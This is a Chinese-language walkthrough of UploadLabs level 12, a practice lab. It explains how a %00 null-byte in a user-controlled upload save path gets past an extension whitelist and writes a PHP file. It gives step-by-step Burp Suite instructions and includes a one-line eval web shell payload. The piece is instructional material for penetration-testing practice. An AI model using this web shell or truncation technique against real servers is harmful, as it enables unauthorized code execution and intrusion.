UploadLabs第12关:利用%00截断修改保存路径实现上传绕过。

admin 2026-04-02 05:54:28 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详解UploadLabs第12关利用%00截断修改文件保存路径绕过白名单限制的原理。文章从三层解析差异角度深入分析漏洞本质,指出检测逻辑与执行逻辑不一致导致安全问题,并提供完整实战步骤。同时强调现代环境中该漏洞因PHP版本更新、Web服务器拦截等原因难以复现,环境配置直接影响漏洞可利用性,提醒渗透测试需关注实际环境差异。 综合评分: 85 文章分类: 渗透测试,WEB安全,漏洞分析,漏洞POC,实战经验


系统会认为字符串在 \0 处结束:

实际内容 = shell.php

后面的:

.jpg

会被直接忽略。

3 三层解析差异(非常关键)

%00 截断漏洞的本质,并不在于编码本身,而在于不同处理层对输入数据的解析方式不一致。

可以将整个过程划分为三个关键阶段:

① HTTP / URL 解析层

浏览器发送的数据为:shell.php%00.jpg

其中:

%00 是 NULL 字节(\x00)的 URL 编码形式

需要注意:

浏览器本身并不会将 %00 转换为 \x00,而是以编码形式发送给服务器,是否被解码取决于服务端处理逻辑。

② PHP 处理层

服务器接收到请求后,交由 PHP 进行解析,例如:$_GET[‘save_path’]

在这一阶段:%00

可能被解码为 \x00

也可能被过滤或截断

甚至可能以字符串形式保留(取决于环境)

因此:

PHP 层看到的字符串,并不一定包含真实的 NULL 字节,这一点是漏洞是否可利用的关键。

③ 底层 C 函数处理层

当 PHP 调用底层函数,如:

move_uploaded_file()

最终会进入 C 语言实现。

在 C 语言中:

char str[] ="shell.php\0.jpg";

由于 \0 是字符串结束符:

实际有效内容 = shell.php

后面的:

.jpg

会被直接忽略,从而发生截断。

4 为什么会产生漏洞

因为:

检测逻辑(PHP) ≠ 执行逻辑(底层)

举个典型例子:

文件名:shell.php%00.jpg在 PHP 中检测

后缀:.jpg → 合法 ✅在底层保存

shell.php\0.jpg → shell.php最终结果

成功生成 shell.php

作用:

获取最后一个 . 后面的内容作为扩展名

例如:

1.jpg → jpg ✅

shell.php → php ❌

2 白名单判断

if(in_array($file_ext,$ext_arr))

只允许:

jpg / png / gif

👉 这里本身没问题

3 关键漏洞点:保存路径

$img_path = $_GET['save_path']."/".rand(...).".".$file_ext;

👉 save_path 来自用户可控的 GET 参数

也就是说:

你可以控制“文件保存位置”

4 文件保存

move_uploaded_file($temp_file,$img_path)

这里会调用底层函数(C实现)。

三、漏洞点分析(重点)

这一关采用了白名单,与前面所有的关卡都不一致,所以前面的绕过方法在这一关行不通了。

问题在于:

保存路径是用户可控的

并且:未对路径中的特殊字符(如 %00)进行有效处理


四、攻击思路

我们不直接改文件名,而是:

修改保存路径 + 利用 %00 截断


五、实战操作


1 准备一句话木马

<?php@eval($_POST['pass']);&nbsp;?>

2 正常上传,将shell.php改名为正常的.jpg结尾文件。

shell.jpg

![](https://mmbiz.qpic.cn/sz_mmbiz_gif/5vTt22mqAAw3ibrmvrGhNFaFSuuGwF66OTCTB6dHbMAghgL1mzdT1Z0Aq13ugk9Lvy80a4MZTV6NJzibvdQJqpVJFKmS45HpXJYTliakaWzDdA/640?wx_fmt=gif&from=appmsg#imgIndex=1)

3 Burp Suite 抓包

找到请求参数:


POST /upload-labs/…


Body 中会有类似:


save_path=upload/



4 修改保存路径(关键)

将:


save_path=upload/


修改为:


save_path=upload/shell.php%00



5 保持上传文件为图片

例如:


filename=”shell.jpg”

![](https://mmbiz.qpic.cn/sz_mmbiz_gif/5vTt22mqAAxPnfUo2hBNUibdaZerosNqsibISSIECH2IYC1uSZ9LfFOk5d8QQmkicRSE6h8I1G5Q9VASpklbTQP62jsnC33q9ltYfhibDqRmgyM/640?wx_fmt=gif&from=appmsg#imgIndex=2)

6 发送请求

服务器处理,原意是要把我们的上传文件处理成为:

shell.php�/1520260325004656.jpg

实际php后面的内容已经被截断,在服务器中保存的真实文件为shell.php

评论:0   参与:  0